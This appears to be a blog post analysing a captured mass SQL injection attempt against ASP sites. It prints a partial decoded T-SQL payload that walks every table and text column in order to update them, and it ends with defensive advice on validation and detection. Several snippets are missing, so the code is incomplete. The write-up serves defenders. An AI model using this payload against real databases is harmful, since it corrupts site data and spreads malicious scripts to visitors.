It's been around 2 months since the ISC and the Microsoft CSS security team posted articles about a pretty major mass sql injection that affected over 10,000 websites. I was wondering when they'd finally hit some of the domains I monitor. Well today was my lucky day. The attempted injection I captured was almost identical to the ones described in the links above except for a couple small details.
1. First of all there was never an initial attempt to determine if the ASP page was vulnerable. The documented attack contained a simple injection check like this:
So why no injection check? My guess is that someone ripped off the rather slick payload delivery but didn't feel like building in the logic required to perform the initial injection checks. Why do you need to perform any checking? Why not just attempt payload delivery and move on.
2. The only difference in the payload attempt was a new script tag:
Decoded payload delivery:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
exec('update ['+@T+'] set
FETCH NEXT FROM Table_Cursor INTO @T,@C
I tried wgetting the j*p.js to dig a little further but it had already been removed from the site.
Protection and Detection:
With the widespread success these attacks are seeing I'm sure they'll continue for the forseeable future. I highly suggest performing a code review on your web applications to ensure proper data input validation. SQL injection attacks are rather trivial to defend against and yet this attack vector is number 2 on the OWASP top 10.
Since these attacks keep showing up I would highly suggest implementing some form of detection. OSSEC HIDS does a great job alerting on common web application attacks. Some other protection and detection options include web application firewalls, reverse proxies, or NIDS.